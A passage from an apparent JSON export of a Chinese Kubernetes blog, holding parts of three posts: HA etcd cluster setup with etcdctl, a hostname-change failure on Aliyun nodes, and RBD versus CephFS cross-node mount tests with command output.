etcd-wudang 1/1 Running 0 24s 10.24.138.208 wudang 我们查看一下当前etcd cluster的状态：\n# etcdctl endpoint status --endpoints=10.27.52.72:2379,10.24.138.208:2379 10.27.52.72:2379, 6e80adf8cd57f826, 3.0.17, 25 kB, false, 17, 660 10.24.138.208:2379, f3805d1ab19c110b, 3.0.17, 25 kB, true, 17, 660 注：输出的列从左到右分别表示：endpoint URL, ID, version, database size, leadership status, raft term, and raft status. 因此，我们可以看出wudang(10.24.138.208)上的etcd被选为cluster leader了 我们测试一下etcd cluster，put一些key：\n在wudang节点：(注意：export ETCDCTL_API=3) root@wudang:~# etcdctl put foo bar OK root@wudang:~# etcdctl put foo1 bar1 OK root@wudang:~# etcdctl get foo foo bar 在emei节点： root@emei:~# etcdctl get foo foo bar 至此，当前kubernetes cluster的状态示意图如下：\n2、同步shaolin上etcd的数据到etcd cluster中 kubernetes 1.6.2版本默认使用3.x版本etcd。etcdctl 3.x版本提供了一个make-mirror功能用于在etcd cluster间同步数据，这样我们就可以通过etcdctl make-mirror将shaolin上etcd的k8s cluster数据同步到上述刚刚创建的etcd cluster中。在emei node上执行下面命令：\nroot@emei:~# etcdctl make-mirror --no-dest-prefix=true 127.0.0.1:2379 --endpoints=10.27.53.32:2379 --insecure-skip-tls-verify=true ... ... 261 302 341 380 420 459 498 537 577 616 655 ... ... etcdctl make-mirror每隔30s输出一次日志，不过通过这些日志无法看出来同步过程。并且etcdctl make-mirror似乎是流式同步：没有结束的边界。因此你需要手工判断一下数据是否都同步过去了！比如通过查看某个key，对比两边的差异的方式：\n# etcdctl get --from-key /api/v2/registry/clusterrolebindings/cluster-admin .. .. compact_rev_key 122912 或者通过endpoint status命令查看数据库size大小，对比双方的size是否一致。一旦差不多了，就可以停掉make-mirror的执行了！\n3、将shaolin上的apiserver连接的etcd改为连接etcd cluster，停止并删除shaolin上的etcd 修改shaolin node上的/etc/kubernetes/manifests/kube-apiserver.yaml，让shaolin上的kube0-apiserver连接到emei node上的etcd：\n修改下面一行： - --etcd-servers=http://10.27.52.72:2379 修改保存后，kubelet会自动重启kube-apiserver，重启后的kube-apiserver工作正常！\n接下来，我们停掉并删除掉shaolin上的etcd(并删除相关数据存放目录)：\nroot@shaolin:~# rm /etc/kubernetes/manifests/etcd.yaml root@shaolin:~# rm -fr /var/lib/etcd 再查看k8s cluster当前pod，你会发现etcd-shaolin不见了。\n至此，k8s集群的当前状态示意图如下：\n4、重新创建shaolin上的etcd ，并以member形式加入etcd cluster 我们首先需要在已存在的etcd cluster中添加etcd-shaolin这个member:\nroot@wudang:~/kubernetes-conf-shaolin/manifests# etcdctl member add etcd-shaolin --peer-urls=http://10.27.53.32:2380 Member 3184cfa57d8ef00c added to cluster 140cec6dd173ab61 然后，在shaolin node上基于原shaolin上的etcd.yaml文件进行如下修改：\n// /etc/kubernetes/manifests/etcd.yaml ... ... spec: containers: - command: - etcd - --name=etcd-shaolin - --initial-advertise-peer-urls=http://10.27.53.32:2380 - --listen-peer-urls=http://10.27.53.32:2380 - --listen-client-urls=http://10.27.53.32:2379,http://127.0.0.1:2379 - --advertise-client-urls=http://10.27.53.32:2379 - --initial-cluster-token=etcd-cluster - --initial-cluster=etcd-shaolin=http://10.27.53.32:2380,etcd-wudang=http://10.24.138.208:2380,etcd-emei=http://10.27.52.72:2380 - --initial-cluster-state=existing - --data-dir=/var/lib/etcd image: gcr.io/google_containers/etcd-amd64:3.0.17 修改保存后，kubelet将自动拉起etcd-shaolin：\nroot@shaolin:~/k8s-install# pods NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE kube-system etcd-emei 1/1 Running 0 3h 10.27.52.72 emei kube-system etcd-shaolin 1/1 Running 0 8s 10.27.53.32 shaolin kube-system etcd-wudang 1/1 Running 0 3h 10.24.138.208 wudang 查看etcd cluster状态：\nroot@shaolin:~# etcdctl endpoint status --endpoints=10.27.52.72:2379,10.24.138.208:2379,10.27.53.32:2379 10.27.52.72:2379, 6e80adf8cd57f826, 3.0.17, 11 MB, false, 17, 34941 10.24.138.208:2379, f3805d1ab19c110b, 3.0.17, 11 MB, true, 17, 34941 10.27.53.32:2379, 3184cfa57d8ef00c, 3.0.17, 11 MB, false, 17, 34941 可以看出三个etcd实例的数据size、raft status是一致的，wudang node上的etcd是leader！\n5、将shaolin上的apiserver的etcdserver指向改回etcd-shaolin // /etc/kubernetes/manifests/kube-apiserver.yaml ... ... - --etcd-servers=http://127.0.0.1:2379 ... ... 生效重启后，当前kubernetes cluster的状态如下面示意图：\n第二部分在这里。\n","permalink":"https://tonybai.com/2017/05/15/setup-a-ha-kubernetes-cluster-based-on-kubeadm-part1/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003eKubernetes集群\u003c/a\u003e的核心是其\u003ca href=\"http://tonybai.com/2017/01/24/explore-kubernetes-cluster-installed-by-kubeadm/\"\u003emaster node\u003c/a\u003e，但目前默认情况下master node只有一个，一旦master node出现问题，\u003ca href=\"http://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/\"\u003eKubernetes集群\u003c/a\u003e将陷入“瘫痪”，对\u003ca href=\"http://tonybai.com/2016/11/25/the-security-settings-for-kubernetes-cluster/\"\u003e集群的管理\u003c/a\u003e、Pod的调度等均将无法实施，即便此时某些用户的Pod依旧可以正常运行。这显然不能符合我们对于运行于生产环境下的Kubernetes集群的要求，我们需要一个高可用的Kubernetes集群。\u003c/p\u003e\n\u003cp\u003e不过，目前\u003ca href=\"https://kubernetes.io/\"\u003eKubernetes官方\u003c/a\u003e针对构建高可用(high-availability)的集群的支持还是非常有限的，只是针对少数cloud-provider提供了粗糙的部署方法，比如：\u003ca href=\"https://kubernetes.io/docs/tasks/administer-cluster/highly-available-master/\"\u003e使用kube-up.sh脚本在GCE上\u003c/a\u003e、\u003ca href=\"https://kubernetes.io/docs/getting-started-guides/kops/\"\u003e使用kops在AWS上\u003c/a\u003e等等。\u003c/p\u003e\n\u003cp\u003e高可用Kubernetes集群是Kubernetes演进的必然方向，官方在“\u003ca href=\"https://kubernetes.io/docs/admin/high-availability/\"\u003eBuilding High-Availability Clusters\u003c/a\u003e”一文中给出了当前搭建HA cluster的粗略思路。\u003ca href=\"https://github.com/kubernetes/kubeadm\"\u003eKubeadm\u003c/a\u003e也将HA列入了后续版本的\u003ca href=\"https://github.com/kubernetes/kubeadm/issues/261\"\u003e里程碑计划\u003c/a\u003e，并且已经出了一版\u003ca href=\"https://docs.google.com/document/d/1lH9OKkFZMSqXCApmSXemEDuy9qlINdm5MfWWGrK3JYc/edit#heading=h.8hdxw3quu67g\"\u003e使用kubeadm部署高可用cluster的方法提议草案\u003c/a\u003e。\u003c/p\u003e","title":"一步步打造基于Kubeadm的高可用Kubernetes集群-第一部分"},{"content":"除了在生产环境使用的Kubernetes 1.3.7集群之外，我这里还有一套1.5.1的Kubernetes测试环境，这个测试环境一来用于验证各种技术方案，二来也是为了跟踪Kubernetes的最新进展。本篇要记录的一个异常就是发生在该测试Kubernetes集群中的。\n一、缘起 前两天我在Kubernetes测试环境搭建一套Ceph，为了便于ceph-deploy的安装，我通过hostnamectl命令将阿里云默认提供的复杂又冗长的主机名改为短小且更有意义的主机名：\niZ25beglnhtZ -\u0026gt; yypdmaster iz2ze39jeyizepdxhwqci6z -\u0026gt; yypdnode 以yypdmaster为例，修改过程如下： # hostnamectl --static set-hostname yypdmaster # hostnamectl status Static hostname: yypdmaster Transient hostname: iZ25beglnhtZ Icon name: computer-vm Chassis: vm Machine ID: 91aa4b8f2556de49e743dc2f53e8a5c4 Boot ID: 5d0e642ebafa460086388da4177e488e Virtualization: kvm Operating System: Ubuntu 16.04.1 LTS Kernel: Linux 4.4.0-58-generic Architecture: x86-64 # cat /etc/hostname yypdmaster hostnamectl并未修改/etc/hosts，我手动在/etc/hosts中将yypdmaster对应的ip配置上： xx.xx.xx.xx yypdmaster 重新登录后，我们看到主机名状态：Transient hostname不见了，只剩下了静态主机名：\n# hostnamectl status Static hostname: yypdmaster Icon name: computer-vm Chassis: vm Machine ID: 91aa4b8f2556de49e743dc2f53e8a5c4 Boot ID: 5d0e642ebafa460086388da4177e488e Virtualization: kvm Operating System: Ubuntu 16.04.1 LTS Kernel: Linux 4.4.0-58-generic Architecture: x86-64 另外一台主机也是如此修改。主机名修改后，整个k8s集群工作一切正常，因此我最初以为hostname的修改对k8s cluster的运行没有影响。\n二、集群”Crash” 昨天在做跨节点挂载Cephfs测试时，发现在yypdmaster上kubectl exec另外一个node上的pod不好用，提示：连接10250端口超时！而且从错误日志来看，yypdmaster上的k8s组件居然通过yypdnode的外网ip去访问yypdnode上的10250端口，也就是yypdnode上kubelet监听的端口。由于aliyun的安全组规则限制，这个端口是不允许外网访问的，因此timeout错误是合理的。但为什么之前集群都是好好的？突然间出现这个问题呢？为什么不用内网的ip地址访问呢？\n我尝试重启了yypdnode上的kubelet服务。不过似乎没什么效果！正当我疑惑时，我发现集群似乎”Crash”了，下面是当时查看集群的pod情况的输出：\n# kubectl get pod --all-namespaces -o wide NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE default ceph-pod2 1/1 Unknown 0 26m 172.30.192.4 iz2ze39jeyizepdxhwqci6z default ceph-pod2-with-secret 1/1 Unknown 0 38m 172.30.192.2 iz2ze39jeyizepdxhwqci6z default ceph-pod2-with-secret-on-master 1/1 Unknown 0 34m 172.30.0.51 iz25beglnhtz default nginx-kit-3630450072-2c0jk 0/2 Pending 0 12m \u0026lt;none\u0026gt; default nginx-kit-3630450072-3n50m 2/2 Unknown 20 35d 172.30.0.44 iz25beglnhtz default nginx-kit-3630450072-90v4q 0/2 Pending 0 12m \u0026lt;none\u0026gt; default nginx-kit-3630450072-j8qrk 2/2 Unknown 20 72d 172.30.0.47 iz25beglnhtz kube-system dummy-2088944543-9382n 1/1 Running 0 12m xx.xx.xx.xx yypdmaster kube-system dummy-2088944543-93f4c 1/1 Unknown 16 130d xx.xx.xx.xx iz25beglnhtz kube-system elasticsearch-logging-v1-dhl35 1/1 Running 0 12m 172.30.192.6 yypdnode kube-system elasticsearch-logging-v1-s3sbj 1/1 Unknown 9 35d 172.30.0.45 iz25beglnhtz kube-system elasticsearch-logging-v1-t8wg0 1/1 Unknown 29 68d 172.30.0.43 iz25beglnhtz kube-system elasticsearch-logging-v1-zdp19 1/1 Running 0 12m 172.30.0.3 yypdmaster kube-system etcd-iz25beglnhtz 1/1 Unknown 17 130d xx.xx.xx.xx iz25beglnhtz kube-system etcd-yypdmaster 1/1 Running 17 17m xx.xx.xx.xx yypdmaster kube-system fluentd-es-v1.22-ggvv4 1/1 NodeLost 24 68d 172.30.0.46 iz25beglnhtz kube-system fluentd-es-v1.22-rj871 1/1 Running 0 17m 172.30.0.1 yypdmaster kube-system fluentd-es-v1.22-xn77x 1/1 NodeLost 0 6d 172.30.192.0 iz2ze39jeyizepdxhwqci6z kube-system fluentd-es-v1.22-z82rz 1/1 Running 0 18m 172.30.192.5 yypdnode kube-system kibana-logging-3746979809-dplzv 1/1 Running 0 12m 172.30.0.4 yypdmaster kube-system kibana-logging-3746979809-lq9m3 1/1 Unknown 9 35d 172.30.0.49 iz25beglnhtz kube-system kube-apiserver-iz25beglnhtz 1/1 Unknown 19 104d xx.xx.xx.xx iz25beglnhtz kube-system kube-apiserver-yypdmaster 1/1 Running 19 17m xx.xx.xx.xx yypdmaster kube-system kube-controller-manager-iz25beglnhtz 1/1 Unknown 21 130d xx.xx.xx.xx iz25beglnhtz kube-system kube-controller-manager-yypdmaster 1/1 Running 21 17m xx.xx.xx.xx yypdmaster kube-system kube-discovery-1769846148-wh1z4 1/1 Unknown 12 73d xx.xx.xx.xx iz25beglnhtz kube-system kube-discovery-1769846148-z2v87 0/1 Pending 0 12m \u0026lt;none\u0026gt; kube-system kube-dns-2924299975-206tg 4/4 Unknown 129 130d 172.30.0.48 iz25beglnhtz kube-system kube-dns-2924299975-g1kks 4/4 Running 0 12m 172.30.0.5 yypdmaster kube-system kube-proxy-3z29k 1/1 Running 0 18m yy.yy.yy.yy yypdnode kube-system kube-proxy-kfzxv 1/1 Running 0 17m xx.xx.xx.xx yypdmaster kube-system kube-proxy-n2xmf 1/1 NodeLost 16 130d xx.xx.xx.xx iz25beglnhtz 观察这个输出，我们看到几点异常：\n不常见的Pod状态：Unknown、NodeLost Node一列居然出现了四个Node: yypdmaster、yypdnode、 iz25beglnhtz和 iz2ze39jeyizepdxhwqci6z 等了一会儿，这种状态依然不见好转。我于是重启了master上的kubelet、重启了两个节点上的docker engine，不过启动后问题依旧！\n查看Running状态的Pod情况：\n# kubectl get pod --all-namespaces -o wide|grep Running kube-system dummy-2088944543-9382n 1/1 Running 0 18m xx.xx.xx.xx yypdmaster kube-system elasticsearch-logging-v1-dhl35 1/1 Running 0 18m 172.30.192.6 yypdnode kube-system elasticsearch-logging-v1-zdp19 1/1 Running 0 18m 172.30.0.3 yypdmaster kube-system etcd-yypdmaster 1/1 Running 17 23m xx.xx.xx.xx yypdmaster kube-system fluentd-es-v1.22-rj871 1/1 Running 0 23m 172.30.0.1 yypdmaster kube-system fluentd-es-v1.22-z82rz 1/1 Running 0 24m 172.30.192.5 yypdnode kube-system kibana-logging-3746979809-dplzv 1/1 Running 0 18m 172.30.0.4 yypdmaster kube-system kube-apiserver-yypdmaster 1/1 Running 19 23m xx.xx.xx.xx yypdmaster kube-system kube-controller-manager-yypdmaster 1/1 Running 21 23m xx.xx.xx.xx yypdmaster kube-system kube-dns-2924299975-g1kks 4/4 Running 0 18m 172.30.0.5 yypdmaster kube-system kube-proxy-3z29k 1/1 Running 0 24m yy.yy.yy.yy yypdnode kube-system kube-proxy-kfzxv 1/1 Running 0 23m xx.xx.xx.xx yypdmaster kube-system kube-scheduler-yypdmaster 1/1 Running 22 23m xx.xx.xx.xx yypdmaster kube-system kubernetes-dashboard-3109525988-cj74d 1/1 Running 0 18m 172.30.0.6 yypdmaster mioss-namespace-s0fcvegcmw console-sm7cg2-101699315-f3g55 1/1 Running 0 18m 172.30.0.7 yypdmaster 似乎Kubernetes集群并未真正”Crash”，但从Node列来看，正常的pod归属的node不是yypdmaster就是yypdnode， iz25beglnhtz和 iz2ze39jeyize\n","permalink":"https://tonybai.com/2017/05/09/exception-caused-by-kubernetes-node-hostname-change/","summary":"\u003cp\u003e除了在生产环境使用的\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003eKubernetes 1.3.7集群\u003c/a\u003e之外，我这里还有\u003ca href=\"http://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/\"\u003e一套1.5.1的Kubernetes测试环境\u003c/a\u003e，这个测试环境一来用于验证各种技术方案，二来也是为了跟踪Kubernetes的最新进展。本篇要记录的一个异常就是发生在该测试Kubernetes集群中的。\u003c/p\u003e\n\u003ch3 id=\"一缘起\"\u003e一、缘起\u003c/h3\u003e\n\u003cp\u003e前两天我在Kubernetes测试环境搭建一套\u003ca href=\"http://tonybai.com/2016/11/07/integrate-kubernetes-with-ceph-rbd/\"\u003eCeph\u003c/a\u003e，为了便于ceph-deploy的安装，我通过hostnamectl命令将阿里云默认提供的复杂又冗长的主机名改为短小且更有意义的主机名：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eiZ25beglnhtZ -\u0026gt; yypdmaster\niz2ze39jeyizepdxhwqci6z -\u0026gt; yypdnode\n\n以yypdmaster为例，修改过程如下：\n\n# hostnamectl --static set-hostname yypdmaster\n# hostnamectl status\nStatic hostname: yypdmaster\nTransient hostname: iZ25beglnhtZ\n         Icon name: computer-vm\n           Chassis: vm\n        Machine ID: 91aa4b8f2556de49e743dc2f53e8a5c4\n           Boot ID: 5d0e642ebafa460086388da4177e488e\n    Virtualization: kvm\n  Operating System: Ubuntu 16.04.1 LTS\n            Kernel: Linux 4.4.0-58-generic\n      Architecture: x86-64\n\n# cat /etc/hostname\nyypdmaster\n\nhostnamectl并未修改/etc/hosts，我手动在/etc/hosts中将yypdmaster对应的ip配置上：\n\nxx.xx.xx.xx yypdmaster\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e重新登录后，我们看到主机名状态：Transient hostname不见了，只剩下了静态主机名：\u003c/p\u003e","title":"Kubernetes集群node主机名修改导致的异常"},{"content":"在Kubernetes集群中运行有状态服务或应用总是不那么容易的。比如，之前我在项目中使用了CephRBD，虽然遇到过几次问题，但总体算是运行良好。但最近发现CephRBD无法满足跨节点挂载的需求，我只好另辟蹊径。由于CephFS和CephRBD师出同门，它自然成为了这次我首要考察的目标。这里将跨节点挂载CephFS的考察过程记录一下，一是备忘，二则也可以为其他有相似需求的朋友提供些资料。\n一、CephRBD的问题 这里先提一嘴CephRBD的问题。最近项目中有这样的需求：让集群中的Pod共享外部分布式存储，即多个Pod共同挂载一份存储，实现存储共享，这样可大大简化系统设计和复杂性。之前CephRBD都是挂载到一个Pod中运行的，CephRBD是否支持多Pod同时挂载呢？官方文档中给出了否定的答案: 基于CephRBD的Persistent Volume仅支持两种accessmode：\nReadWriteOnce和ReadOnlyMany，不支持ReadWriteMany。这样对于有读写需求的Pod来说，一个CephRBD pv仅能被一个node挂载一次。\n我们来验证一下这个“不幸的”事实。\n我们首先创建一个测试用的image：foo1。这里我利用了项目里写的CephRBD API服务，也可通过ceph命令手工创建：\n# curl -v -H \u0026quot;Content-type: application/json\u0026quot; -X POST -d '{\u0026quot;kind\u0026quot;: \u0026quot;Images\u0026quot;,\u0026quot;apiVersion\u0026quot;: \u0026quot;v1\u0026quot;, \u0026quot;metadata\u0026quot;: {\u0026quot;name\u0026quot;: \u0026quot;foo1\u0026quot;, \u0026quot;capacity\u0026quot;: 512} ' http://192.168.3.22:8080/api/v1/pools/rbd/images ... ... { \u0026quot;errcode\u0026quot;: 0, \u0026quot;errmsg\u0026quot;: \u0026quot;ok\u0026quot; } # curl http://192.168.3.22:8080/api/v1/pools/rbd/images { \u0026quot;Kind\u0026quot;: \u0026quot;ImagesList\u0026quot;, \u0026quot;APIVersion\u0026quot;: \u0026quot;v1\u0026quot;, \u0026quot;Items\u0026quot;: [ { \u0026quot;name\u0026quot;: \u0026quot;foo1\u0026quot; } ] } 利用下面文件创建pv和pvc：\n//ceph-pv.yaml apiVersion: v1 kind: PersistentVolume metadata: name: foo-pv spec: capacity: storage: 512Mi accessModes: - ReadWriteMany rbd: monitors: - ceph_monitor_ip:port pool: rbd image: foo1 user: admin secretRef: name: ceph-secret fsType: ext4 readOnly: false persistentVolumeReclaimPolicy: Recycle //ceph-pvc.yaml kind: PersistentVolumeClaim apiVersion: v1 metadata: name: foo-claim spec: accessModes: - ReadWriteMany resources: requests: storage: 512Mi 创建后：\n# kubectl get pv [NAME CAPACITY ACCESSMODES RECLAIMPOLICY STATUS CLAIM REASON AGE foo-pv 512Mi RWO Recycle Bound default/foo-claim 20h # kubectl get pvc NAME STATUS VOLUME CAPACITY ACCESSMODES AGE foo-claim Bound foo-pv 512Mi RWO 20h 创建挂载上述image的Pod：\n// ceph-pod2.yaml apiVersion: v1 kind: Pod metadata: name: ceph-pod2 spec: containers: - name: ceph-ubuntu2 image: ubuntu:14.04 command: [\u0026quot;tail\u0026quot;, \u0026quot;-f\u0026quot;, \u0026quot;/var/log/bootstrap.log\u0026quot;] volumeMounts: - name: ceph-vol2 mountPath: /mnt/cephrbd/data readOnly: false volumes: - name: ceph-vol2 persistentVolumeClaim: claimName: foo-claim 创建成功后，我们可以查看挂载目录的数据：\n# kubectl exec ceph-pod2 ls /mnt/cephrbd/data 1.txt lost+found 我们在同一个kubernetes node上再启动一个pod（可以把上面的ceph-pod2.yaml的pod name改为ceph-pod3），挂载同样的pv：\nNAMESPACE NAME READY STATUS RESTARTS AGE IP NODE default ceph-pod2 1/1 Running 0 3m 172.16.57.9 xx.xx.xx.xx default ceph-pod3 1/1 Running 0 0s 172.16.57.10 xx.xx.xx.xx # kubectl exec ceph-pod3 ls /mnt/cephrbd/data 1.txt lost+found 我们通过ceph-pod2写一个文件，在ceph-pod3中将其读出：\n# kubectl exec ceph-pod2 -- bash -c \u0026quot;for i in {1..10}; do sleep 1; echo 'pod2: Hello, World'\u0026gt;\u0026gt; /mnt/cephrbd/data/foo.txt ; done \u0026quot; root@node1:~/k8stest/k8s-cephrbd/footest# kubectl exec ceph-pod3 cat /mnt/cephrbd/data/foo.txt pod2: Hello, World pod2: Hello, World pod2: Hello, World pod2: Hello, World pod2: Hello, World pod2: Hello, World pod2: Hello, World pod2: Hello, World pod2: Hello, World pod2: Hello, World 到目前为止，在一个node上多个Pod是可以以ReadWrite模式挂载同一个CephRBD的。\n我们在另外一个节点启动一个试图挂载该pv的Pod，该Pod启动后一直处于pending状态，通过kubectl describe查看其详细信息，可以看到：\nEvents: FirstSeen LastSeen Count From SubobjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- .. ... 2m 37s 2 {kubelet yy.yy.yy.yy} Warning FailedMount Unable to mount volumes for pod \u0026quot;ceph-pod2-master_default(a45f62aa-2bc3-11e7-9baa-00163e1625a9)\u0026quot;: timeout expired waiting for volumes to attach/mount for pod \u0026quot;ceph-pod2-master\u0026quot;/\u0026quot;default\u0026quot;. list of unattached/unmounted volumes=[ceph-vol2] 2m 37s 2 {kubelet yy.yy.yy.yy} Warning FailedSync Error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \u0026quot;ceph-pod2-master\u0026quot;/\u0026quot;default\u0026quot;. list of unattached/unmounted volumes=[ceph-vol2] 查看kubelet.log中的错误日志：\nI0428 11:39:15.737729 1241 reconciler.go:294] MountVolume operation started for volume \u0026quot;kubernetes.io/rbd/a45f62aa-2bc3-11e7-9baa-00163e1625a9-foo-pv\u0026quot; (spec.Name: \u0026quot;foo-pv\u0026quot;) to pod \u0026quot;a45f62aa-2bc3-11e7-9baa-00163e1625a9\u0026quot; (UID: \u0026quot;a45f62aa-2bc3-11e7-9baa-00163e1625a9\u0026quot;). I0428 11:39:15.939183 1241 operation_executor.go:768] MountVolume.SetUp succeeded for volume \u0026quot;kubernetes.io/secret/923700ff-12c2-11e7-9baa-00163e1625a9-default-token-40z0x\u0026quot; (spec.Name: \u0026quot;default-token-40z0x\u0026quot;) pod \u0026quot;923700ff-12c2-11e7-9baa-00163e1625a9\u0026quot; (UID: \u0026quot;923700ff-12c2-11e7-9baa-00163e1625a9\u0026quot;). E0428 11:39:17.039656 1241 disk_manager.go:56] failed to attach disk E0428 11:39:17.039722 1241 rbd.go:228] rbd: failed to setup mount /var/lib/kubelet/pods/a45f62aa-2bc3-11e7-9baa-00163e1625a9/volumes/kubernetes.io~rbd/foo-pv rbd: image foo1 is locked by other nodes E0428 11:39:17.039857 1241 nestedpendingoperations.go:254] Operation for \u0026quot;\\\u0026quot;kubernetes.io/rbd/a45f62aa-2bc3-11e7-9baa-00163e1625a9-foo-pv\\\u0026quot; (\\\u0026quot;a45f62aa-2bc3-11e7-9baa-00163e1625a9\\\u0026quot;)\u0026quot; failed. No retries permitted until 2017-04-28 11:41:17.039803969 +0800 CST (durationBeforeRetry 2m0s). Error: MountVolume.SetUp failed for volume \u0026quot;kubernetes.io/rbd/a45f62aa-2bc3-11e7-9baa-00163e1625a9-foo-pv\u0026quot; (spec.Name: \u0026quot;foo-pv\u0026quot;) pod \u0026quot;a45f62aa-2bc3-11e7-9baa-00163e1625a9\u0026quot; (UID: \u0026quot;a45f62aa-2bc3-11e7-9baa-00163e1625a9\u0026quot;) with: rbd: image foo1 is locked by other nodes 可以看到“rbd: image foo1 is locked by other nodes”的日志。我们用试验证明了目前CephRBD仅能被k8s中的一个node挂载的事实。\n二、Ceph集群安装mds以支持CephFS 这次我在两个Ubuntu 16.04的vm上新部署了一套Ceph，过程与之前第一次部署Ceph时大同小异，这里就不赘述了。要让Ceph支持CephFS，我们需要安装mds组件，有了前面的基础，通过ceph-deploy工具安装mds十分简单：\n# ceph-deploy mds create yypdmaster yypdnode [ceph_deploy.conf][DEBUG ] found configuration file at: /root/.cephdeploy.conf [ceph_deploy.cli][INFO ] Invoked (1.5.37): /usr/bin/ceph-deploy mds create yypdmaster yypdnode [ceph_deploy.cli][INFO ] ceph-deploy options: [ceph_deploy.cli][INFO ] username : None [ceph_deploy.cli][INFO ] verbose : False [ceph_deploy.cli][INFO ] overwrite_conf : False [ceph_deploy.cli][INFO ] subcommand : create [ceph_deploy.cli][INFO ] quiet : False [ceph_deploy.cli][INFO ] cd_conf : \u0026lt;ceph_deploy.conf.cephdeploy.Conf instance at 0x7f60fb5e71b8\u0026gt; [ceph_deploy.cli][INFO ] cluster : ceph [ceph_deploy.cli][INFO ] func : \u0026lt;function mds at 0x7f60fba4e140\u0026gt; [ceph_deploy.cli][INFO ] ceph_conf : None [ceph_deploy.cli][INFO ] mds : [('yypdmaster', 'yypdmaster'), ('yypdnode', 'yypdnode')] [ceph_deploy.cli][INFO ] default_release : False [ceph_deploy.mds][DEBUG ] Deploying mds, cluster ceph hosts yypdmaster:yypdmaster yypdnode:yypdnode [yypdmaster][DEBUG ] connected to host: yypdmaster [yypdmaster][DEBUG ] detect platform information from remote host [yypdmaster][DEBUG ] detect machine type [ceph_deploy.mds][INFO ] Distro info: Ubuntu 16.04 xenial [ceph_deploy.mds][DEBUG ] remote host will use systemd [ceph_deploy.mds][DEBUG ] deploying mds bootstrap to yypdmaster [yypdmaster][DEBUG ] write cluster configuration to /etc/ceph/{cluster}.conf [yypdmaster][DEBUG ] create path if it doesn't exist [yypdmaster][INFO ] Running command: ceph --cluster ceph --name client.bootstrap-mds --keyring /var/lib/ceph/bootstrap-mds/ceph.keyring auth get-or-create mds.yypdmaster osd allow rwx mds allow mon allow profile mds -o /var/lib/ceph/mds/ceph-yypdmaster/keyring [yypdmaster][INFO ] Running command: systemctl enable ceph-mds@yypdmaster [yypdmaster][WARNIN] Created symlink from /etc/systemd/system/ceph-mds.target.wants/ceph-mds@yypdmaster.service to /lib/systemd/system/ceph-mds@.service. [yypdmaster][INFO ] Running command: systemctl start ceph-mds@yypdmaster [yypdmaster][INFO ] Running command: systemctl enable ceph.target [yypdnode][DEBUG ] connected to host: yypdnode [yypdnode][DEBUG ] detect platform information from remote host [yypdnode][DEBUG ] detect machine type [ceph_deploy.mds][INFO ] Distro info: Ubuntu 16.04 xenial [ceph_deploy.mds][DEBUG ] remote host will use systemd [ceph_deploy.mds][DEBUG ] deploying mds bootstrap to yypdnode [yypdnode][DEBUG ] write cluster configuration to /etc/ceph/{cluster}.conf [yypdnode][DEBUG ] create path if it doesn't exist [yypdnode][INFO ] Running command: ceph --cluster ceph --name client.bootstrap-mds --keyring /var/lib/ceph/bootstrap-mds/ceph.keyring auth get-or-create mds.yypdnode osd allow rwx mds allow mon allow profile mds -o /var/lib/ceph/mds/ceph-yypdnode/keyring [yypdnode][INFO ] Running command: systemctl enable ceph-mds@yypdnode [yypdnode][WARNIN] Created symlink from /etc/systemd/system/ceph-mds.target.wants/ceph-mds@yypdnode.service to /lib/systemd/system/ceph-mds@.service. [yypdnode][INFO ] Running command: systemctl start ceph-mds@yypdnode [yypdnode][INFO ] Running command: systemctl enable ceph.target 非常顺利。安装后，可以在任意一个node上看到mds在运行：\n# ps -ef|grep ceph ceph 7967 1 0 17:23 ? 00:00:00 /usr/bin/ceph-osd -f --cluster ceph --id 1 --setuser ceph --setgroup ceph ceph 15674 1 0 17:32 ? 00:00:00 /usr/bin/ceph-mon -f --cluster ceph --id yypdnode --setuser ceph --setgroup ceph ceph 18019 1 0 17:35 ? 00:00:00 /usr/bin/ceph-mds -f --cluster ceph --id yypdnode --setuser ceph --setgroup ceph mds是存储cephfs的元信息的，我的ceph是10.2.7版本：\n# ceph -v ceph version 10.2.7 (50e863e0f4bc8f4b9e31156de690d765af245185) 虽然支持多 active mds并行运行，但官方文档建议保持一个active mds，其他mds作为standby(见下面ceph集群信息中的fsmap部分)：\n# ceph -s cluster ffac3489-d678-4caf-ada2-3dd0743158b6 ... ... fsmap e6: 1/1/1 up {0=yypdnode=up:active}, 1 up:standby osdmap e19: 2 osds: 2 up, 2 in flags sortbitwise,require_jewel_osds pgmap v192498: 576 pgs, 5 pools, 126 MB data, 238 objects 44365 MB used, 31881 MB / 80374 MB avail 576 active+clean 三、创建fs并测试挂载 我们在ceph上创建一个fs：\n# ceph osd pool create cephfs_data 128 pool 'cephfs_data' created # ceph osd pool create cephfs_metadata 128 pool 'cephfs_metadata' created # ceph fs new test_fs cephfs_metadata cephfs_data new fs with metadata pool 2 and data pool 1 # ceph fs ls name: test_fs, metadata pool: cephfs_metadata, data pools: [cephfs_data ] 不过，ceph当前正式版功能中仅支持一个fs，对多个fs的支持仅存在于实验feature中：\n# ceph osd pool create cephfs1_data 128 # ceph osd pool create cephfs1_metadata 128 # ceph fs new test_fs1 cephfs1_metadata cephfs1_data Error EINVAL: Creation of multiple filesystems is disabled. To enable this experimental feature, use 'ceph fs flag set enable_multiple true' 在物理机上挂载cephfs可以使用mount命令、mount.ceph(apt-get install ceph-fs-common)或ceph-fuse(apt-get install ceph-fuse)，我们先用mount命令挂载：\n我们将上面创建的cephfs挂载到主机的/mnt下： #mount -t ceph ceph_mon_host:6789:/ /mnt -o name=admin,secretfile=admin.secret # cat admin.secret //ceph.client.admin.keyring中的key AQDITghZD+c/DhAArOiWWQqyMAkMJbWmHaxjgQ== 查看cephfs信息：\n# df -h ceph_mon_host:6789:/ 79G 45G 35G 57% /mnt 可以看出：cephfs将两个物理节点上的磁盘全部空间作为了自己的空间。\n通过ceph-fuse挂载，还可以限制对挂载路径的访问权限，我们来创建用户foo，让其仅仅拥有对/ceph-volume1-test路径具有只读访问权限：\n# 